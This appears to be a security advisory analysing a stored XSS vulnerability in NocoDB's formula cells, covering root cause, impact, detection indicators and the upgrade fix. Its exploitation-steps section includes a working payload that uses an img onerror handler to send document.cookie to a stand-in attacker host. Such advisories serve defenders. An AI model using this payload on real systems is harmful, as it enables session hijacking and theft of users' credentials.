CVE-2026-28357: 
JavaScript vulnerability analysis and mitigation

CVE-2026-28357 is a stored Cross-Site Scripting (XSS) vulnerability in NocoDB's Formula virtual cell component. Formula results containing URI::() patterns are rendered via Vue's v-html directive without sanitization, allowing injected HTML and JavaScript to execute in the browsers of users viewing the affected table. All NocoDB versions up to and including 0.301.2 (npm package) are affected; the issue was patched in version 0.301.3. It carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 5.3 (Medium) (Github Advisory, NocoDB Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). The vulnerable function replaceUrlsWithLink() in urlUtils.ts converts URI::(url) patterns into HTML anchor tags but passes all surrounding HTML content through unchanged and unsanitized before binding it to the DOM via v-html. An authenticated user with at minimum the Creator role — the minimum role required to create formula fields — can craft a formula such as CONCAT("URI::(https://example.com)", "<script>malicious_code</script>") to inject arbitrary HTML/JavaScript. The payload is stored server-side and rendered for every user who views the table, making this a persistent (stored) XSS attack (NocoDB Advisory, Github Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser context of any user who views the affected NocoDB table, including users with higher privileges such as administrators. Primary risks include session hijacking via cookie theft, credential harvesting through fake login prompts, unauthorized actions performed on behalf of authenticated users, and potential malware distribution. Availability is not directly impacted, but confidentiality and integrity of the subsequent (browser) system are both affected at a low level (Github Advisory, NocoDB Advisory).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of disclosure (Github Advisory). The vulnerability requires the attacker to hold at least a Creator role within the NocoDB instance, limiting opportunistic exploitation. The EPSS score is approximately 0.041% (13th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The issue was responsibly disclosed by researcher @Akokonunes (NocoDB Advisory).

1. Gain Creator Access: Obtain or compromise an account with at least the Creator role in the target NocoDB instance, which is the minimum role required to create formula fields.
2. Create a Malicious Formula Field: In a table visible to target users, create a new Formula virtual cell column.
3. Inject XSS Payload via URI::() Pattern: Enter a formula that produces output containing a URI::() pattern combined with an HTML/JavaScript payload, for example: CONCAT("URI::(https://example.com)", "<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>").
4. Save and Wait for Victims: Save the formula field. The malicious output is now stored server-side and rendered unsanitized via v-html for every user who opens or views the table.
5. Harvest Results: When a victim user (including admins) views the table, the injected script executes in their browser, sending session cookies or other sensitive data to the attacker-controlled endpoint (NocoDB Advisory, Github Advisory).

• Application Logs: NocoDB audit logs showing formula field creation or modification by unexpected users, particularly formulas containing URI::() patterns combined with HTML tags such as <script>, <img>, or <svg>.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after viewing a NocoDB table; requests containing URL-encoded cookie or session token data in query parameters.
• Database: Formula column definitions in the NocoDB metadata database containing URI::() patterns alongside HTML event handlers (e.g., onerror=, onload=, onclick=) or <script> tags.
• Browser: Unexpected JavaScript execution errors or network requests to unknown hosts logged in browser developer tools when accessing NocoDB tables.

The primary remediation is to upgrade NocoDB to version 0.301.3 or later, which patches the unsanitized v-html rendering in the formula cell (NocoDB Release). As an interim workaround, restrict formula field creation and editing permissions to only fully trusted users by limiting Creator role assignments. Administrators should audit all existing formula fields for suspicious URI::() patterns combined with HTML content, and review user access logs for unauthorized formula modifications (Github Advisory).

The vulnerability was responsibly disclosed by researcher @Akokonunes and acknowledged in the NocoDB 0.301.3 release notes, which also credited several other security researchers for separate issues fixed in the same release (NocoDB Release). No significant broader media coverage or notable social media discussion beyond standard CVE tracking feeds has been observed for this moderate-severity issue.